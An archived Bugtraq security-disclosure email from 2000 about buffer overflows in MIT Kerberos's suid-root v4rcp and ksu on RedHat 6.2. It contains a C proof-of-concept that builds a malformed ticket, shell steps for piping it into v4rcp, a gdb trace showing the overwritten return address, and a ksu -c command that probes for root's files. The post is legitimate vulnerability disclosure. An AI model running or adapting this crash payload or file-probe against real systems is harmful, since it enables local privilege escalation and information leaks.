[LWN Logo]

Date:         Thu, 18 May 2000 19:40:27 +0100
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
Subject:      Clarification/further info on Kerberos issues
To: BUGTRAQ@SECURITYFOCUS.COM

Hi,

I read with interest the recent post on Kerberos security issues.

I was mildly disappointed not be credited; I started discovering Kerberos
issues a month ago. In fact the first problem I demonstrated was the
kd_mq_req() problem. Original demonstration details pasted at end of mail.

The main point of this mail, though, is to advise people to be wary of
assuming that MIT-Kerberos is now "safe". The team need to perform a
thorough audit of all the code. The type and extent of issues they face is
illustrated by the following mail I sent a couple of weeks ago. I found
these issues by tracing through the code path available to malicious users
via "v4rcp", a suid-root application.

Something that needs noting - a full install of RedHat6.2 includes a
suid-root "v4rcp" (even if the user has not enabled the Kerberised
services, which are luckily not enabled in the default setup). I
demonstrate the exploitability of this, via "v4rcp", below in one of my
original mails.

One final point before I start quoting mails - most issues (maybe
all) were fixed in KTH Kerberos code-base, which I browsed via the Web
from www.openbsd.org.

Cheers
Chris


Quote1: Illustration of extend of problems present
===========================================================
From chris@ferret.lmh.ox.ac.uk Thu May 18 19:35:07 2000
Date: Wed, 3 May 2000 23:33:40 +0100 (BST)
From: Chris Evans <chris@ferret.lmh.ox.ac.uk>
Subject: Re: /usr/kerberos/bin/v4rcp broken :(


> Anyhow, here are the patches, if you'd like to try breaking a package with
> them applied, I'd appreciate it (after an initial round of cursing if you're
> still able to get v4rcp to crash, of course).

Possibly time for a round of cursing I'm afraid. I haven't got it to crash
(haven't tried) - but I can see several more overflows. Some of them may
not be exploitable, but they certainly require fixing.

These were discovered, in this order, by following the code paths
available to crackers trying to break v4rcp.c

1) appl/bsd/v4rcp.c itself, line 402

                        strncpy(krb_realm,*argv,REALM_SZ);
                        sprintf(realmarg, " -k %s", krb_realm);

Failure to NULL-terminate krb_realm leads to stack overflow. User does not
have direct control over contents of overflow bytes


2) lib/krb4/recvauth.c, line 192

Note that control flow arrives here via two command line options in
v4rcp.c main() calling answer_auth(), a method also in v4rcp.c. This
subsequently calls krb_recvauth(). Note, we're now in XXXX. At this point
we'll start doing a whole _pile_ of reading/parsing from stdin!

            if (krb_net_read(fd, (char *)(tmp_buf+KRB_SENDAUTH_VLEN),
                             (int) (tkt_len - KRB_SENDAUTH_VLEN + 1 + i))

This looks horribly broken. I can probably arrange for a negative value to
be passed to krb_net_read(), which will of course become a large positive
value. The destination of the data is on the stack :-( Luckily this line
of code is not arrived at if krb_recvauth() is called with
KOPT_DO_MUTUAL. By luck, v4rcp.c uses this flag.


3) lib/krb4/rd_req.c, line 222

We arrive here because krb_recvauth() has called krb_rd_req(). In
krb_rd_req() we're about to parse up to 1250 bytes of user supplied data.

    (void) strcpy(realm,ptr);   /* And the realm of the issuing KDC */

ptr: close to the start of the user-supplied 1250 buffer
realm: a 40-byte buffer on the stack!

So this buffer is toast. HOWEVER, again by luck this may not be
exploitable. This is because there are many kilobytes of other objects on
the stack. God knows what damage can be done to them however. This is very
dangerous.


4) lib/krb4/rd_req.c, line 223

    ptr += strlen(ptr) + 1;     /* skip the realm "hint" */

Great - ptr could now be pointing outside the bounds of the max 1250 data
chunk.


5) lib/krb4/rd_req.c, line 252

        (void) strcpy(st_rlm,realm);

If code flow reaches here, we've just blown a static buffer


6) lib/krb4/rd_req.c, line 258

    tkt->length = (int) *ptr++;
    if ((tkt->length + (ptr+1 - (char *) authent->dat)) > authent->length)
        return(RD_AP_MODIFIED);
    memcpy((char *)(tkt->dat), ptr+1, tkt->length);

Looks like over-trust of a length supplied by the user to me. Oh - throw
in some signed/unsigned issues. I don't know if a malicious user can get
code flow to go here - I didn't think though the reading of service
key. If one cannot be read, code flow doesn't get here.

In fact the rest of this file is riddled with potential issues.

There are probably plenty of other code paths available to malicious users
too. You can see why I despair for v4rcp.c :-)

Incidentally, did you get a full stack trace of the point of the initial
buffer overflow I raised? I'm interested which code path I broke; I'm
pretty sure it's not covered above.


Cheers
Chris


Quote2: Original discovery of problems; demo of explotability
[about a month old]
=============================================================

From chris@ferret.lmh.ox.ac.uk Thu May 18 19:34:25 2000
Date: Mon, 24 Apr 2000 18:53:17 +0100 (BST)
From: Chris Evans <chris@ferret.lmh.ox.ac.uk>
Subject: /usr/kerberos/bin/v4rcp broken :(


Hi

Check this

Usage:
./breakv4rcp > deathfile
export KRB5LOCALADDR=1
export KRB5REMOTEADDR=1
v4rcp -x -f < deathfile     (n.b. using a pipe fails probably due to size)

This demonstrates but one of many flaws. If possible it should be shipped
NOT suid-root

Note that this is probably a secondary overflow; one buffer is overflowed
and the contents of that later overflow another etc. etc. Maybe the 0x61
is to_lower('A'); I doubt it's a problem for exploitation (if it was,
there's not a shortage of other problems :-)

"ksu" is also suid root in RH6.2. I'll try and break it "properly" this
week but for the meantime note that the -c flag can be used to determine
the existance of arbitrary files e.g.

ksu -c 'oops:/root/.bash_history'

Cheers
Chris

Starting program: /usr/kerberos/bin/v4rcp -x -f < die
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x40154c27 in strlen (str=0x61616161 <Address 0x61616161 out of bounds>)
    at ../sysdeps/i386/strlen.c:27
27      ../sysdeps/i386/strlen.c: No such file or directory.
(gdb) bt
#0  0x40154c27 in strlen (str=0x61616161 <Address 0x61616161 out of
bounds>)
    at ../sysdeps/i386/strlen.c:27
#1  0x40060c9e in krb5_425_conv_principal ()
   from /usr/kerberos/lib/libkrb5.so.2
#2  0x61616161 in ?? ()
Cannot access memory at address 0x61616161

#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

int
main(int argc, const char* argv[])
{
	char tickbuf[1250];
	int i;
	char c;

	memset(tickbuf, 'A', sizeof(tickbuf));
	
	/* Output to fd 1 (stdout) */

	/* Protocol version - MUST be as follows */
	write(1, "AUTHV0.1", 8);
	/* Application version - arbitrary */
	write(1, "DEADBEEF", 8);
	/* Ticket size - go for the max */
	i = htonl(sizeof(tickbuf));
	write(1, &i, 4);
	/* The ticket */
	/* Kerberos protocol version; today we're breaking version: 4 */
	tickbuf[0] = 4;
	/* Byteswap is lowest bit (0 will do) */
	/* Or with AUTH_MSG_APPL_REQUEST (3<<1) */
	tickbuf[1] = 3<<1 | 0;
	/* Server key version - arbitrary */
	tickbuf[2] = 0;
	write(1, tickbuf, sizeof(tickbuf));
}